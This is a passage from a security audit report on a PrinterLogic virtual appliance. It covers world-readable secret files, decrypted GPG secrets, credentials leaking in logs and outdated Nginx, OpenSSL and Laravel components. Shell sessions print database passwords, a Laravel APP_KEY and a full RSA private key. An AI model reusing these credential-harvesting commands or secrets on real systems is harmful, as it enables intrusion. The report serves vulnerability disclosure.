-rw-rw-r--+  1 ubuntu   docker    56 Jan 27 10:16 .update_history
drwxrwsr-x+  3 root     docker  4096 Jan 27 10:18 .updates
drwxrwsr-x+  3 ubuntu   docker  4096 Jan 27 09:36 users
root@printerlogic:/var/www/efs_storage#
</pre>

<p>It is possible to extract passwords from these files from any user because the files are world-readable.</p>
<p>Content of <code>/var/www/efs_storage/secrets.env</code>:</p>
<pre>
root@printerlogic:/var/www/efs_storage# cat secrets.env  | tail -n 7
########### VALUES
<font color=red>DB_DATABASE="app_pi"
DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt"
DB_PORT="3306"
DB_USERNAME="admin"</font>
PRINTERCLOUD_DOMAIN="10.105.0.241"
<font color=red>SAMBA_PASSWORD="4rd7AqdBvj7ZdGKrvQ9Z"</font>
root@printerlogic:/var/www/efs_storage#
</pre>

<p>It is also possible to decrypt the GPG-encrypted files stored in <code>/var/www/efs_storage/.secrets/</code> using the private key that has been extracted before in <a href="#va-private-gpg-key">GPG Private key stored in the solution</a>. The files contain the mysql root password, the <code>APP_KEY</code> value used for Laravel and the portainer password. Access to the <code>APP_KEY</code> provides remote code execution on Laravel instances.</p>
<p>Decrypted files in /var/www/efs_storage/.secrets:</p>
<pre>
root@printerlogic:~# ls -la /var/www/efs_storage/.secrets/
total 16
drwxrwsr-x+  2 ubuntu   docker 4096 Feb  8 06:38 .
drwxrwsr-x+ 19 www-data docker 4096 Feb  2 08:15 ..
<font color=red>-rw-rw-r--+</font>  1 ubuntu   docker  704 Jan 27 09:36 app-keys.gpg
<font color=red>-rw-rw-r--+</font>  1 ubuntu   docker  660 Feb  7 08:59 portainer-admin.gpg
root@printerlogic:~# cd /var/www/efs_storage/.secrets
root@printerlogic:/var/www/efs_storage/.secrets# gpg app-keys.gpg
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
      "PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>"
root@printerlogic:/var/www/efs_storage/.secrets# cat app-keys
<font color=red>APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M"
MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3"</font>
root@printerlogic:/var/www/efs_storage/.secrets# gpg portainer-admin.gpg 
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
      "PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>"
root@printerlogic:/var/www/efs_storage/.secrets# cat portainer-admin
<font color=red>PORTAINER_PASSWORD="1bd01aeb-e29d-4de6-83ca-11e55858c6ae"</font>
root@printerlogic:/var/www/efs_storage/.secrets#
</pre>

<p>We can verify these passwords are correct using the root access on the solution. These decrypted passwords match the passwords defined in environment variables.</p>
<p>Extracting passwords from environment variables:</p>
<pre>
root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i | awk '{ print $1'}); docker exec -it $i env;done|grep MYSQL_ROOT
Error: No such container: CONTAINER
<font color=red>MYSQL_ROOT_PASSWORD=0aa58a30-9f32-4731-a03c-3795fe49c0f3</font>
root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i | awk '{ print $1'}); docker exec -it $i env;done|grep APP_KEY
Error: No such container: CONTAINER
<font color=red>APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M
APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M
APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M
APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M</font>
[...]
</pre>

<p>It is also possible to reach the portainer agent running in the <code>portainer/agent</code> Docker instance on port 9001/tcp from any Docker instance. An attacker may use the <code>PORTAINER_PASSWORD</code> value to control the portainer agent.</p>
<p>Using the mysql credentials, it is possible to compromise the application from any docker instance that has the <code>/var/www/efs_storage</code> mounting point - there is no firewall between docker instances so all the docker instances have a full network access to the mysql server and they also have access to the mysql credentials from <code>/var/www/efs_storage/secrets.env</code> and the Laravel application key, allowing Remote Code Execution against Docker instances that run Nginx with PHP.</p>
<p>Moreover, the session files are world-readable.</p>
<p>Extracting sessions from <code>/var/www/efs_storage/pi/storage/framework/sessions</code>:</p>
<pre><code>root@printerlogic:/var/www/efs_storage# ls -la ./pi/storage/framework/sessions/
total 12
drwxrwsr-x+ 2 www-data docker   4096 Feb  2 03:38 .
drwxrwsr-x+ 5 www-data www-data 4096 Jan 27 09:37 ..
-rw-rw-r--+ 1 www-data docker    118 Feb  2 03:38 jIHjRaArwpNVBdE9EokQeQoD0oYdaw4aq87oqAK0
root@printerlogic:/var/www/efs_storage# cat ./pi/storage/framework/sessions/jIHjRaArwpNVBdE9EokQeQoD0oYdaw4aq87oqAK0 ; echo
a:2:{s:6:"_token";s:40:"gGVo8IMaJbVz5ZXPY8ThCeFCLbE8wa09UvCdMXXV";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}}
root@printerlogic:/var/www/efs_storage#
</code></pre>
<p>From the Docker instances, as the applications run as root, there is a full access to any file in <code>/var/www/efs_storage</code>, as shown below.</p>
<p>For example, the <code>client-key.pem</code> file used in Mysql is owned by mysql and the permissions are <code>600</code>. There is a full Read/Write access from the Docker image <code>printerlogic/va-api</code>.</p>
<p>Reading <code>client-key.pem</code> as root from the Docker instance <code>printerlogic/va-api</code>:</p>
<pre><code>/var/www/efs_storage/mysql # ls -la 
total 214684
[...]
-rw-------    1 999      ping          1680 Jan 27 09:36 client-key.pem
[...]
/var/www/efs_storage/mysql # cat client-key.pem
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAvC7hbdFLOPXiolgs+MM+jHAu1160g91yoLhbSZTUTUGNMM6+
t2btq5F4UtH1G6SUzuQs7d2BCrpyrTkB2idkiKlFVUPVVKEFOXwBsnMcotqfL/9N
dyEVwxa6Lp0hHRWaOPntTx56+nCl95Ab7CGMJp2i2Nr0qrhOjv+0idVeiTUGGpSp
cWQQilOwCgS/nDAuGBfmT9Mk2ARPDyV/lsJR4wEm1yAQWJ5cQrhhpriZRMFMwZUs
dg1BfcRfxtRpo8M097HjkERKsPjUHIxbxYWDvfN8PJFTgUChaZ3T5AuCsLYleirV
pNRxTj2UT9bjOfU4qWNc3crMgu017qqsZLqbZwIDAQABAoIBAATIpE5oXaMrDQHX
f/0q6XIkf+xVqf0YKgvP4/Iw6Fy2Z+JvvwVmhnAwGIDyeWqkemvv/Pxm/xrItpWU
t2lWSwX2V57dRJUMKtfVQS3KI1Y4fId50/xNSQJWl5ELyYW1wN/l6pRyT+oB5xYu
Aae1Cp0IsNUWa9XTLZwRAAPo+qg+N6ketWyzjW5Fw6KfLbksF/QV6eWJwBOCDbJo
gfXzXaSUhDXsEjVoCSa3HIvBmxrfzVx5R1Zr+r3tKAyhbnYYoH6RNOnSlp4TVpKD
UJ9PowDWpIL/eGH65iHfDwfOaEeck6Ty4ADYCtzygAfJTcW2HXywdOAPtRrqv1gD
HoLcX3ECgYEA4v4WKOIrGI20KADmRxeayPBViUqSYk49esgP9rKuXbd+W2GBvPpJ
APesO9CbBszIOe8/T2+Efg9MywevlJWydtTqnUtNlTIQPBynrUXGf+fIkkjhAF+T
5OMfPo/fvsfSJS86H2WBZqr2mmciSlXgMtQRnknKcla0X2MbDof73L0CgYEA1Dsr
cPoFUXHWP8FjQhFdmMIORlzk7fwUtD7BRYRL8vLwYzWm6R1zY3m4XLa+yMqA38N8
Tsfx/xEOevbZXs7loHMJHxTKYwf7PatllTPMLntBJBdXS9cbDE+bo/KHVZPwGd+a
0pBzWwEbzP7vXR1C7+PFrA8l+UUjSQ9U1mmrpPMCgYBcCodVwI+U/zCD4Al/3jRn
MfydFN3SesM3HBRNBhrp6VOVHi6LQDmF6OevwWB7G2I9C6PyQ9fHfdC3qsApUaHx
yVfwu+4Thx9KIJxlCBv7FTMhDegeTKMddnLe3VvucfvmFAZPYMtdpAkmhpdC6Rtl
wNP8CRPL1RiCbR81fzJDSQKBgQCaUDuR9fkP8xm5Wb/2NfI8ND104+6BLB1RwZ9+
EGe4yvQG7ufh8EwKNGLc5vNpw/RYvycPkUpgD+LbfcknqoBEXeBv/Qn7X75KZOmD
xxnbYjtHJsGOn2VHWkrstle43cxiw7crC2UU8oVoVKVuquwUySTdqlYOHTs+0Cr7
i/IGCQKBgQCCFghgRsQabDYo8ou7TPTQ4o+5bb0bnskps/Vrgpx11iom/9WNZGbP
VS63QifOzog+fP68Evw6uriy9Y+VUnLcRDIPfyXUncpClRKcAzh0YakBP6A3Lqnv
hZLW8dhZKQqyIMUtOra5tKMqstCLnNd0yaMALY1VgchJ93UGjMIKzg==
-----END RSA PRIVATE KEY-----
/var/www/efs_storage/mysql #
</code></pre>
<p>From the world-readable logs, it is also possible to extract valid passwords:</p>
<p>Extracting the mysql password from logs:</p>
<pre>
root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# ls -la
total 940
drwxrwsr-x+ 2 root   docker   4096 Feb  2 06:25 .
drwxrwsr-x+ 4 ubuntu docker   4096 Jan 27 09:37 ..
-rw-rw-r--+ 1 syslog syslog   2008 Feb  4 02:08 config.log
-rw-r--r--  1 syslog adm      2740 Jan 28 02:29 config.log-20220128.xz
-rw-rw-r--+ 1 syslog syslog    332 Jan 31 05:24 config.log-20220131.xz
-rw-rw-r--+ 1 syslog syslog    288 Feb  1 00:58 config.log-20220201.xz
-rw-rw-r--+ 1 syslog syslog    502 Feb  2 03:37 config.log-20220202
-rw-rw-r--+ 1 syslog syslog  24153 Feb  4 05:17 cron.log
-rw-r--r--  1 syslog adm       848 Jan 28 06:25 cron.log-20220128.xz
-rw-rw-r--+ 1 syslog syslog    236 Jan 31 06:25 cron.log-20220131.xz
-rw-rw-r--+ 1 syslog syslog   1064 Feb  1 06:25 cron.log-20220201.xz
-rw-rw-r--+ 1 syslog syslog    696 Feb  2 06:25 cron.log-20220202
-rw-rw-r--+ 1 syslog syslog   4396 Feb  4 02:08 init.log
-rw-r--r--  1 syslog adm      2748 Jan 28 02:29 init.log-20220128.xz
-rw-rw-r--+ 1 syslog syslog    468 Jan 31 05:25 init.log-20220131.xz
-rw-rw-r--+ 1 syslog syslog    532 Feb  1 04:14 init.log-20220201.xz
-rw-rw-r--+ 1 syslog syslog   1558 Feb  2 03:39 init.log-20220202
-rw-rw-r--+ 1 syslog syslog  72050 Feb  4 05:37 pi.log
-rw-r--r--+ 1 syslog adm      7600 Jan 28 02:29 pi.log-20220128.xz
-rw-rw-r--+ 1 syslog syslog   3964 Jan 31 05:34 pi.log-20220131.xz
[...]
root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# xzgrep -i password *xz
[...]
services.log-20220131.xz:Jan 31 05:11:47 printerlogic va/printercloud_pq.1.oudnppibc8qwbym8z1wp91664[1547]: + timeout 180 bash -c     until mysql     -h mysql     -u admin     -P 3306     --password="<font color=red>BBlIL1X1ARvyrnA3FBpt</font>"     -e 'CREATE SCHEMA IF NOT EXISTS `app_pi`';     do sleep 5; done
services.log-20220131.xz:Jan 31 05:11:51 printerlogic va/printercloud_scd.1.84yt6sjlse8b2wz163dd1o0du[1547]: + timeout 180 bash -c '    until mysql     -h mysql     -u admin     -P 3306     --password="<font color=red>BBlIL1X1ARvyrnA3FBpt</font>"     -e '"'"'CREATE SCHEMA IF NOT EXISTS `app_scd`'"'"';     do sleep 5; done
services.log-20220131.xz:Jan 31 05:12:03 printerlogic va/printercloud_idpi.1.z63z6m6udibpdq0mry74vv0xw[1547]: + timeout 180 bash -c '    until mysql     -h mysql     -u admin     -P 3306     --password="<font color=red>BBlIL1X1ARvyrnA3FBpt</font>"     -e '"'"'CREATE SCHEMA IF NOT EXISTS `app_idpi`'"'"';     do sleep 5; done
services.log-20220131.xz:Jan 31 05:25:12 printerlogic va/printercloud_scd.1.fp2n1q66h84za3kweq6m91k6s[1387]: + timeout 180 bash -c '    until mysql     -h mysql     -u admin     -P 3306     --password="<font color=red>BBlIL1X1ARvyrnA3FBpt</font>"     -e '"'"'CREATE SCHEMA IF NOT EXISTS `app_scd`'"'"';     do sleep 5; done
services.log-20220131.xz:Jan 31 05:25:13 printerlogic va/printercloud_pq.1.1xuk7airnt3u8tbpbkzed8pbh[1387]: + timeout 180 bash -c     until mysql     -h mysql     -u admin     -P 3306     --password="<font color=red>BBlIL1X1ARvyrnA3FBpt</font>"     -e 'CREATE SCHEMA IF NOT EXISTS `app_pi`';     do sleep 5; done
</pre>

<p>The files <code>pi.log</code> and <code>services.log</code> contain passwords in clear-text.</p>
<p>Because of the lack of defense in depth and the fact that passwords are written in clear-text in world-readable files, if any docker instance is compromised then the appliance is likely compromised.</p>
<p><a id="va-outdated-components"></a></p>
<h2>Details - Outdated, End-Of-Life, unsupported and vulnerable components (Nginx, libraries, Laravel, operating systems)</h2>
<p>While checking the 109 Nginx processes running in the appliance, it appears Nginx is running inside several different Docker instances and some versions are outdated and have CVEs.</p>
<p>Determining Nginx versions:</p>
<pre><code>root@printerlogic:/dev/shm# ps -auxww | grep -i nginx | wc -l
109
root@printerlogic:/dev/shm# for i in $(docker ps | awk '{ print $1 }'); do (echo $(docker ps | grep $i);docker exec -it $i /usr/sbin/nginx -V;echo ) &gt;/dev/shm/$i;done
root@printerlogic:/dev/shm# awk '/version/{ print $3 }' * | sort | uniq -c
      2 nginx/1.17.2
     13 nginx/1.17.5
      1 nginx/1.20.0
      2 nginx/1.21.4
      1 nginx/1.21.5
</code></pre>
<p>In total, the Docker instances use 5 different versions of Nginx:</p>
<ul>
<li>1.17.2 (2 instances)</li>
<li>1.17.5 (13 instances)</li>
<li>1.20.0 (1 instance)</li>
<li>1.21.4 (2 instances)</li>
<li>1.21.5 (1 instance)</li>
</ul>
<p>Nginx 1.17 branch is EOL and security fixes haven't been applied in the Nginx installations because some binaries haven't been updated since 2019.</p>
<p>Date of when the nginx binaries have been installed into Docker instances:</p>
<pre>
root@printerlogic:/dev/shm# for i in $(docker ps|awk '{ print $1 }'); do docker exec -it $i ls -la /usr/sbin/nginx;done
-rwxr-xr-x 1 root root 1326152 <font color=red>Oct 22  2019</font> /usr/sbin/nginx
-rwxr-xr-x 1 root root 1326152 <font color=red>Oct 22  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1326152 <font color=red>Oct 22  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1149824 <font color=red>Oct 22  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1326152 <font color=red>Oct 22  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1326152 <font color=red>Oct 22  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1322056 <font color=red>Jul 23  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1378488 Nov  2 15:01 /usr/sbin/nginx
-rwxr-xr-x 1 root root 1326152 <font color=red>Oct 22  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1326152 <font color=red>Oct 22  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1326152 <font color=red>Oct 22  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1374232 Apr 20  2021 /usr/sbin/nginx
-rwxr-xr-x 1 root root 1378488 Nov  2 15:01 /usr/sbin/nginx
-rwxr-xr-x 1 root root 1149824 <font color=red>Oct 22  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1326152 <font color=red>Oct 22  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1326152 <font color=red>Oct 22  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1198240 Dec 28 18:48 /usr/sbin/nginx
-rwxr-xr-x 1 root root 1145728 <font color=red>Jul 23  2019</font>  /usr/sbin/nginx
-rwxr-xr-x 1 root root 1326152 <font color=red>Oct 22  2019</font>  /usr/sbin/nginx
</pre>

<p>When analyzing these builts, some Nginx have been compiled by unsupported OS which is not clearly a good indicator regarding security.</p>
<p>Determining operating systems that were used when compiling the Nginx binaries:</p>
<pre><code>root@printerlogic:/dev/shm# cat * | grep -i gcc | sort | uniq -c
      2 built by gcc 10.2.1 20210110 (Debian 10.2.1-6) 
      1 built by gcc 10.3.1 20211027 (Alpine 10.3.1_git20211027) 
      1 built by gcc 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) 
      3 built by gcc 8.3.0 (Alpine 8.3.0) 
     11 built by gcc 8.3.0 (Debian 8.3.0-6) 
      1 built by gcc 9.3.0 (Ubuntu 9.3.0-10ubuntu2)
</code></pre>
<p>A script is provided to check the version of the userland (<code>operating systems</code>) used in Docker instances:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>root@printerlogic:/dev/shm# cat check-docker-os.sh
      <span style="color: #666666">1</span> <span style="color: #408080; font-style: italic">#!/bin/sh</span>
      <span style="color: #666666">2</span> 
      <span style="color: #666666">3</span> <span style="color: #008000; font-weight: bold">for</span> i in <span style="color: #008000; font-weight: bold">$(</span>docker ps | awk <span style="color: #BA2121">&#39;{ print $1 }&#39;</span><span style="color: #008000; font-weight: bold">)</span>
      <span style="color: #666666">4</span> <span style="color: #008000; font-weight: bold">do</span>
      <span style="color: #666666">5</span>   <span style="color: #008000">echo</span> <span style="color: #008000; font-weight: bold">$(</span>docker ps | grep <span style="color: #19177C">$i</span><span style="color: #008000; font-weight: bold">)</span>
      <span style="color: #666666">6</span>   docker <span style="color: #008000">exec</span> -it <span style="color: #19177C">$i</span> sh -c <span style="color: #BA2121">&#39;if [ -f /usr/lib/os-release ]; then</span>
<span style="color: #BA2121">      7        cat /usr/lib/os-release</span>
<span style="color: #BA2121">      8      fi</span>
<span style="color: #BA2121">      9      if [ -f /etc/alpine-release ]; then</span>
<span style="color: #BA2121">     10        cat /etc/alpine-release</span>
<span style="color: #BA2121">     11      fi&#39;</span>
     <span style="color: #666666">12</span>   <span style="color: #008000">echo</span>
     <span style="color: #666666">13</span> <span style="color: #008000; font-weight: bold">done</span>
</pre></div>

<p>Using this script, the underlying operating systems for each Docker instance were determined.</p>
<p>Unsupported systems are still in use even if libraries are outdated and security patches are not provided anymore:</p>
<ul>
<li><font color=red> Alpine 3.10.5 - printerlogic/idpi:1.0.6</li>
<li>Alpine 3.10.5 - printerlogic/scd:1.0.70</li>
<li>Alpine 3.10.5 - printerlogic/tree:1.0.57</li>
<li>Alpine 3.11.11 - printerlogic/scss:1.0.39</li>
<li>Alpine 3.11.12 - printerlogic/prs:1.0.2</li>
<li>Alpine 3.11.2 - printerlogic/eb:0.0.4</li>
<li>Alpine 3.11.9 - printerlogic/ebc:1.0.34</font></li>
<li>Alpine 3.12.0 - dperson/samba:latest</li>
<li>Alpine 3.13.5 - printerlogic/hive:1.1.30</li>
<li>Alpine 3.14.2 - printerlogic/va-api:1.1.4</li>
<li>Alpine 3.14.3 - printerlogic/edw:1.0.44, traefik:latest, printerlogic/cat:1.0.58,</li>
<li>Alpine 3.15.0 - printerlogic/oncp-pgw:v1.0.21, printerlogic/oncp-hold:v1.0.31, printerlogic/identity:v1.0.88, printerlogic/ofn:1.108.0, redis:5-alpine, printerlogic/oncp-ofn:v1.0.6, printerlogic/oncp-reg:1.0.15, printerlogic/qms:1.0.124, printerlogic/va-cdn:0.0.435,</li>
<li>Debian 10 - printerlogic/pq:5.0.124, printerlogic/authn:1.0.257, printerlogic/pi:5.0.6539, printerlogic/pi:5.0.6539, printerlogic/scim:1.0.9, printerlogic/sched:1.0.18, printerlogic/pi:5.0.6539, mysql:8.0.26, printerlogic/pi:5.0.6539, printerlogic/pi:5.0.6539, printerlogic/gw:1.208.5, printerlogic/pi:5.0.6539, printerlogic/cpp-ui:1.80.5,</li>
<li>Debian 11 - printerlogic/users:5.186.1, printerlogic/users:5.186.1,</li>
<li>Ubuntu 18.04.6 LTS - printerlogic/client:25.1.0.551</li>
<li>Ubuntu 20.04.2 LTS - printerlogic/br:1.0.62</li>
</ul>
<p>Alpine 3.10.x and 3.11.x are EOL.</p>
<p>Alpine 3.12.x will be EOL in May 2022, Alpine 3.13 will be EOL in November 2022 and Debian 10 will be EOL in August 2022.</p>
<p>Furthermore, some Docker instances are using Debian 10 which will be EOL-ed in 6 months.</p>
<p>It is also possible to check the versions of OpenSSL libraries used by Nginx: OpenSSL 1.1.d is outdated and is affected by several CVEs. OpenSSL 1.1.1k is also outdated (but may contain back-port security patches):</p>
<pre>
root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do docker exec -it $i /usr/sbin/nginx -V;done | grep -i openssl
Error: No such container: CONTAINER
<font color=red>built with OpenSSL 1.1.0j  20 Nov 2018 (running with OpenSSL 1.1.1d  10 Sep 2019)
built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 2019)
built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 2019)
built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 2019)
built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 2019)
built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 2019)
built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 2019)
built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 2019)</font>
built with OpenSSL 1.1.1k  25 Mar 2021
built with OpenSSL 1.1.1l  24 Aug 2021
built with OpenSSL 1.1.1k  25 Mar 2021
<font color=red>built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 2019)</font>
built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1k  25 Mar 2021)
<font color=red>built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 2019)</font>
built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1k  25 Mar 2021)
built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1k  25 Mar 2021)
built with OpenSSL 1.1.1f  31 Mar 2020
<font color=red>built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 2019)
built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 2019)</font>
root@printerlogic:~#
</pre>

<p>When randomly choosing a Docker instance, we can confirm the openssl version is outdated. This version will still be used by the PHP code running on the Docker instance.</p>
<p>Determining the openssl versions in the <code>printerlogic/pi:5.0.6539</code> Docker instance :</p>
<pre>
root@printerlogic:~# docker ps | grep 5f1ea5e4df83
5f1ea5e4df83        printerlogic/pi:5.0.6539         "/var/www/app/.docke"   11 minutes ago      Up 11 minutes             80/tcp, 443/tcp, 9000-9001/tcp   printercloud_worker-pi-snmp.1.ov4ffd4qd6r734pcslu6r9kr6
root@printerlogic:~# docker exec -it 5f1ea5e4df83 /bin/sh
# ps -a   
  PID TTY          TIME CMD
   98 pts/0    00:00:00 ps
# ps -auxww
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  0.6 392100 49132 ?        Ssl  02:08   0:00 php artisan queue:work --queue=snmp-status --sleep=3 --tries=1
root        93  1.5  0.0   2392   764 pts/0    Ss   02:20   0:00 /bin/sh
root        99  0.0  0.0 217556  3064 pts/0    R+   02:20   0:00 ps -auxww
# find /|grep libssl
/usr/lib/x86_64-linux-gnu/libssl.so.1.1
/usr/lib/x86_64-linux-gnu/libssl.so
/usr/lib/x86_64-linux-gnu/libssl.a
[...]
# strings /usr/lib/x86_64-linux-gnu/libssl.so | grep OpenSSL
<font color=red>OpenSSL 1.1.1d  10 Sep 2019</font>
#
</pre>

<p>When analyzing the Docker instances freely available at <a href="https://hub.docker.com/r/printerlogic/base-php-fpm-nginx">https://hub.docker.com/r/printerlogic/base-php-fpm-nginx</a>, it was confirmed these instances are using outdated software. These instances are likely used as reference images to create new instances.</p>
<p>Determining software versions in the <code>printerlogic/base-php-fpm-nginx:latest</code> reference image:</p>
<pre>
kali# docker pull printerlogic/base-php-fpm-nginx
Using default tag: latest
latest: Pulling from printerlogic/base-php-fpm-nginx
6ec7b7d162b2: Pull complete 
db606474d60c: Pull complete 
afb30f0cd8e0: Pull complete 
3bb2e8051594: Pull complete 
4d71313b39b0: Pull complete 
381de550657f: Pull complete 
e671c4250cc8: Pull complete
[...]
kali# docker save printerlogic/base-php-fpm-nginx > /dev/shm/test.tar
kali# pwd
/dev/shm 
kali# mkdir output && cd output                                                                        
kali# tar xvf ../test.tar
kali# for i in */; do cd $i && tar xvf *tar && cd /dev/shm/output;done
kali# strings ./679eaa2d89e00f8903c220a8d880e07c4205ef789d665adff4b59e77fe1abb93/usr/lib/x86_64-linux-gnu/libssl.so.1.1|grep OpenSSL 
<font color=red>OpenSSL 1.1.1d  10 Sep 2019</font>
kali# strings *//usr/sbin/nginx|grep 1.17
nginx version: nginx/1.17.5
configure arguments: --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules [...] -fdebug-prefix-map=/data/builder/debuild/nginx-1.17.5/debian/debuild-base/<font color=red>nginx-1.17.5</font>=. -fstack-protector-strong -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -fPIC' --with-ld-opt='-Wl,-z,relro -Wl,-z,now -Wl,--as-needed -pie'
<font color=red>nginx/1.17.5</font>
</pre>

<p>Futhermore, while auditing the PHP code, it appears the appliance is using a mix of different versions of Laravel in the Docker instances - all of these versions are EOL.</p>
<p>Determining the Laravel version in all Docker instances:</p>
<pre>
root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i | awk '{ print $2'}); docker exec -it $i sh -c "if [ -f /var/www/vendor/laravel/framework/src/Illuminate/Foundation/Application.php ]; then grep -B 5 'VERSION =' /var/www/vendor/laravel/framework/src/Illuminate/Foundation/Application.php;fi";echo; done

printerlogic/pi:5.0.6539
    /**
     * The Laravel framework version.
     *
     * @var string
     */
    <font color=red>const VERSION = '5.5.45'; <- EOL in 2020</font>

printerlogic/pi:5.0.6539
    <font color=red>const VERSION = '5.5.45'; <- EOL IN 2020</font>

printerlogic/users:5.186.1
    <font color=red>const VERSION = '5.8.38'; <- EOL IN 2019</font>

printerlogic/pi:5.0.6539
    <font color=red>const VERSION = '5.5.45'; <- EOL IN 2020</font>

printerlogic/scd:1.0.70
    <font color=red>const VERSION = '6.18.10'; <- EOL but security patches still provided</font>

printerlogic/scim:1.0.9
    <font color=red>const VERSION = '5.8.38'; <- EOL IN 2019</font>

printerlogic/gw:1.208.5
    <font color=red>const VERSION = '5.7.26'; <- EOL IN 2019</font>

printerlogic/users:5.186.1
    <font color=red>const VERSION = '5.8.38'; <- EOL IN 2020</font>

printerlogic/cpp-ui:1.80.5
    <font color=red>const VERSION = '7.12.0'; <- will EOL in March 2022</font>

printerlogic/idpi:1.0.6
    <font color=red>const VERSION = '6.14.0'; <- EOL but security patches still provided</font>

printerlogic/authn:1.0.257
    <font color=red>const VERSION = '5.8.38'; <- EOL IN 2019</font>

printerlogic/pi:5.0.6539
    <font color=red>const VERSION = '5.5.45'; <- EOL IN 2020</font>

printerlogic/tree:1.0.57
    <font color=red>const VERSION = '6.20.43'; <- EOL but security patches still provided</font>

printerlogic/pi:5.0.6539
    <font color=red>const VERSION = '5.5.45'; <- EOL IN 2020</font>

printerlogic/pq:5.0.124
    <font color=red>const VERSION = '5.7.9'; <- EOL IN 2019</font>

printerlogic/pi:5.0.6539
    <font color=red>const VERSION = '5.5.45'; <- EOL IN 2020</font>
</pre>

<p>Laravel versions are EOL in these 16 Docker instances.</p>
<p>Laravel support (image from Wikipedia, as of January 2022): </p>
<p><img alt="" src="images/2025-vasion-report-1-laravel.png" /></p>
<p><a href="images/2025-vasion-report-1-laravel-full.png">Click here for full image</a></p>
<p>The code is also using outdated PHP libraries, containing public vulnerabilities:</p>
<ul>
<li>./app/lib/common/aws/sdk.class.php from 2011</li>
<li>./app/lib/common/phpmailer/class.phpmailer.php 5.1 from 2010 ( * @version $Id: class.phpmailer.php,v 1.1 2010/09/05 01:08:18 aaron Exp $)</li>
<li>./app/common/upload.class.php class upload - 0.27 (14/05/2009) - several CVEs</li>
</ul>
<p>Some of these libraries are outdated and are vulnerable to public vulnerabilities. It is recommended to review all the libraries in the different directories they are stored:</p>
<pre><code>kali% less app/common/
d3.tip.js                       jquery-migrate-1.2.1.js         ppp_only/                       validation.class.php
google_authorization_email.txt  jquery-ui-1.8.1.custom.min.js   themes/                         version_reader.php
jquery.dataTables.js            login.class.php                 tooltips.js     
jquery-fieldselection.js        passwordrecovery.email.txt      upload.class.php
kali% ls app/lib/common 
admin.header.inc.php       breadcrumbs.php      current_selection.php  header.inc.php     logout.php  php-imap     TranslationsEmbedStaticTranslations.php
auto_open_tree_search.php  browse_complete.php  global.inc.php         lightopenid        oses.php    phpmailer    verify_company_login.php
aws                        browse.php           global.php             load-settings.php  pChart      tooltip.php
</code></pre>
<p>All the docker instances are using outdated libraries, without security patches.</p>
<p>The code relies heavily on Laravel / Illuminate and these libraries are outdated and contain security vulnerabilities.</p>
<p><a id="va-processes-running-as-root"></a></p>
<h2>Details - Processes running as root in Docker instances</h2>
<p>When analyzing Docker instances, it was observed that some Docker instances are running processes (php, nodeJS, Rust binaries, Go binaries) as root. This list is not exhaustive.</p>
<p>Custom processes running as root inside Docker instances:</p>
